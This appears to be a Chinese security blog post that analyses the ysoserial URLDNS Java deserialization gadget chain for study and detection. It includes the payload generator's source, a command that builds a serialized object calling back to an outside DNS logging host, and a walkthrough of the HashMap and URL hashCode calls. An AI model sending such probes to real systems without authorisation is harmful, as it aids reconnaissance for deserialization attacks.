java反序列化 — URLDNS反序列化分析

java反序列化 -- URLDNS反序列化分析

何为URLDNS

这里借助P牛的说法,URLDNS就是ysoserial中一个利用链的名字,但准确来说,这个其实不能称作“利用链”。因为其参数不是一个可以“利用”的命令,⽽仅为一个URL,其能触发的结果也不是命令执⾏,⽽是一次DNS请求。
虽然这个“利利⽤用链”实际上是不能“利用”的,但因为其如下的优点,⾮常适合我们在检测反序列化漏洞时使用:

  • 使用Java内置的类构造,对第三⽅库没有依赖
  • 在目标没有回显的时候,能够通过DNS请求得知是否存在反序列化漏洞

URLDNS分析

这里我们根据ysoserialpayload来看下URLDNS是如何构造的:

public class URLDNS implements ObjectPayload<Object> {
    public URLDNS() {
    }

    public Object getObject(String url) throws Exception {
        URLStreamHandler handler = new URLDNS.SilentURLStreamHandler();
        HashMap ht = new HashMap();
        URL u = new URL((URL)null, url, handler);
        ht.put(u, url);
        Reflections.setFieldValue(u, "hashCode", -1);
        return ht;
    }

    public static void main(String[] args) throws Exception {
        PayloadRunner.run(URLDNS.class, args);
    }

    static class SilentURLStreamHandler extends URLStreamHandler {
        SilentURLStreamHandler() {
        }

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }
}

我们看到这里的getObject方法最终返回一个hashmap,这里简单对hashmap进行介绍

HashMap:它根据键的hashCode值存储数据,大多数情况下可以直接定位到它的值,因而具有很快的访问速度,但遍历顺序却是不确定的。 HashMap最多只允许一条记录的键为null,允许多条记录的值为null。HashMap非线程安全,即任一时刻可以有多个线程同时写HashMap,可能会导致数据的不一致。如果需要满足线程安全,可以用 Collections的synchronizedMap方法使HashMap具有线程安全的能力,或者使用ConcurrentHashMap。

因此这里将实例化的URL对象赋值为hashmap的键名,而对应的URL字符串为hashmap的键值,同时注意到这里还通过反射将URL对象的hashCode属性赋值为-1,原因稍后会进行说明。

因此我们使用

java -jar ysoserial.java URLDNS http://xxx.ceye.io >>raw.bin

接着我们只需要反序列化该对象即可

import org.omg.CORBA.OBJECT_NOT_EXIST;

import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.ObjectInputStream;

public class URLDNS {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("raw.bin"));
        ois.readObject();
    }
}

便可以看到我们的DNS接收平台接收到了DNS请求,整个利用就到此结束,下面对gadgetChain进行分析

我们需要知道的是,当反序列化该对象时,其实是调用hashmapreadObject方法

先来看一下整个调用栈:

upload_fee893f44ca82c9ff9cdd3be61138d0f

整个gadgetChain不长,因此分析起来也比较易懂,首先我们知道反序列化是调用Hashmap的readObject方法:

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

看到最后putVal操作对键名进行hash方法,跟进hash方法:

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

对hashmap的键名进行判断,如果非空,则会调用键名的hashCode方法,而这里我们是将URL对象赋给键名的,因此会调用URL对象的hashCode方法,跟进:

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

在这里先对URL对象的hashCode属性判断,如果hashCode不是-1,则直接返回hashCode,这里也解释说明了为何在ysoserial的payload中,为何需要

 Reflections.setFieldValue(u, "hashCode", -1);

将URL对象的hashCode属性赋值为-1,这样一来才会调用handler的hashCode方法,其中handler是URLStreamHandler对象,跟进其hashCode方法后:

 protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

在这里就很明显了,这里传入的是URL对象,判断完URL对象的协议后调用getHostAddress方法,其作用就是根据主机名,获取其IP地址,在网络上就是进行一次DNS查询,因此到这里整个URLDNS的gadgetChain就分析完成

总的来说,URLDNS应该是java反序列化链的构造中最为简单和最容易理解的一条链子,整个分析到此结束,如果不对的地方,还请大佬指正

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇